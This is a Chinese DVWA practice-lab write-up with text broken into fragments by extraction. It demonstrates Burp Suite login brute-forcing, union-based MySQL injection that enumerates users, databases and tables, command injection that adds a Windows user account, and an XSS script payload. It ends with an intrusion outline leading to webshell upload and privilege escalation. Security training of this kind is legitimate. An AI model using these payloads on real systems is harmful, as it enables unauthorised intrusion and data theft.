DVWA测试1218zyWord文件下载.docx
- 文档编号:4125857
- 上传时间:2023-05-02
- 格式:DOCX
- 页数:16
- 大小:1.26MB
DVWA测试1218zyWord文件下载.docx
《DVWA测试1218zyWord文件下载.docx》由会员分享,可在线阅读,更多相关《DVWA测试1218zyWord文件下载.docx(16页珍藏版)》请在冰点文库上搜索。
由于是测试暴力破解工具,所以,字典文件内容要正确,否则是不成功的:
在payloadset下拉框中,选择1和runtimefile,然后selectfile选择第一个参数的文件users.txt;
选择2和runtimefile,一再选择密码字典文件password.txt。
点击options,并打开标签“extrack”
钩选extractthefollowingitemsformresponses复选框,然后点击“add”新一个响应包含的关键字index.php,因为登录成功为转到index.php,否则到login.php,成功与否返回长度相同,所以不能用传统的方式判断成功与否。
点击intruder->
startattack开始暴破
查看破解结果:
第8行为成功破解的结果
SQL注入:
登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。
1、找到SQl
Injection
选项,测试是否存在注入点,这里为用户交互表单查询的地方,这也是常见的SQL注入漏洞存在的地方。
正常测试,输入1,可以得到如下结果:
输入’后提示:
YouhaveanerrorinyourSQLsyntax;
checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'
'
atline1(你的SQL语法有错误;
检查对应于你的MySQL服务器版本使用近1行'
正确的语法手册)
2、有了这样的提示后,我们可以尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:
1
or
1=1
看能否把数据库表中的内容遍历出来。
可是结果如下,并没有显示出所有信息,如下图:
我们可以猜测后台应用程序是否将这里的值定义为了字符,所以我们可以在尝试试用字符类型注入,1’or’1’=’1,如下图:
遍历出了数据库中的所有内容,如果是重要的数据库表,这样的结果已经对于攻击者有了足够的意思。
3.使用orderby语句查询数据库列信息。
“1‘orderby1--“,“1‘orderby2--”,“1’orderby3--”,依次查看查询结果。
1‘orderby3–时会提示没有这个列,这样我们可以得出查询结果只有2列
4.通过得到连接数据库账户信息、数据库名称、数据库版本信息。
利用user(),及database(),version()等三个内置函数。
这里尝试注入“1‘and1=2unionselect1,2--”结果如下
得出的结果,firstname处显示结果为查询第一列的值,surname为第二列,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
1'
and
1=2
union
select
user(),database()
--
连接数据库的用户为root@localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,“1'
version(),database()
”便得到了版本信息
5.获得操作系统信息
and1=2unionselect1,@@global.version_compile_osfrommysql.user--
6.查询mysql数据库,所有数据库名字:
这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1'
and1=2unionselect1,schema_namefrominformation_schema.schemata--
7.猜解dvwa数据库中的表名。
利用1‘
exists(select
*
from
表名),此处表名猜解可以通过brupsuit挂字典猜解。
这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。
这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。
users)
--
8.猜解字段名:
表名
这里测试的字段名有first_name,last_name
andexists(selectfirst_namefromusers)--
andexists(selectlast_namefromusers)--
9.爆出数据库中字段的内容
:
first_name,last_name
users
–
这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。
这里我们可以大致总结渗透的一般思路:
1、寻找注入点,可以通过web扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:
order
by
2
/*用来猜解查询信息的列数
user(),database(),--
user(),version(),
/*利用user(),database(),version()函数获得数据库信息
1,@@global.version_compile_os
mysql.user
/*获得操作系统信息1'
ord(mid(user(),1,1))=114
/*测试连接数据库用户权限
1,schema_name
information_schema.schemata
/*爆出所有数据库名称1'
/*猜解表名
first_name
/猜解字段名
/*猜解字段内容
命令注入漏洞:
Dvwa中有CommandExecutionVulnerability命令注入漏洞模块
漏洞产生的原因:
程序中因为某些功能需要执行系统命令,并通过网页传递参数到后台执行.然后最根本的原因是没有对输入框中的内容做代码过滤,正常情况下输入框只能接受指定类型的数据.
命令注入漏洞可以使攻击者在受攻击的服务器上执行任意的命令.
在命令模块中输入127.0.0.1&
&
dir可查看当前目录下的文件(针对windows).
攻击方法:
我们可以把dir命令改为删除用户、添加用户、修改密码等windows命令。
现在创建一个用户为xiaozhu密码为P@ssw0rd,命令为:
127.0.0.1&
netuserxiaozhuP@ssw0rd/add
现在去服务器上看看是否已经有xiaozhu这个用户了
跨站脚本攻击:
在XSSreflected中输入<
script>
alert(/xxx/)<
/script>
存储式跨站脚本攻击:
在此登陆时就会有连接弹出
如果想要阻止这个跨站,重新创建数据库即可!
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- DVWA 测试 1218 zy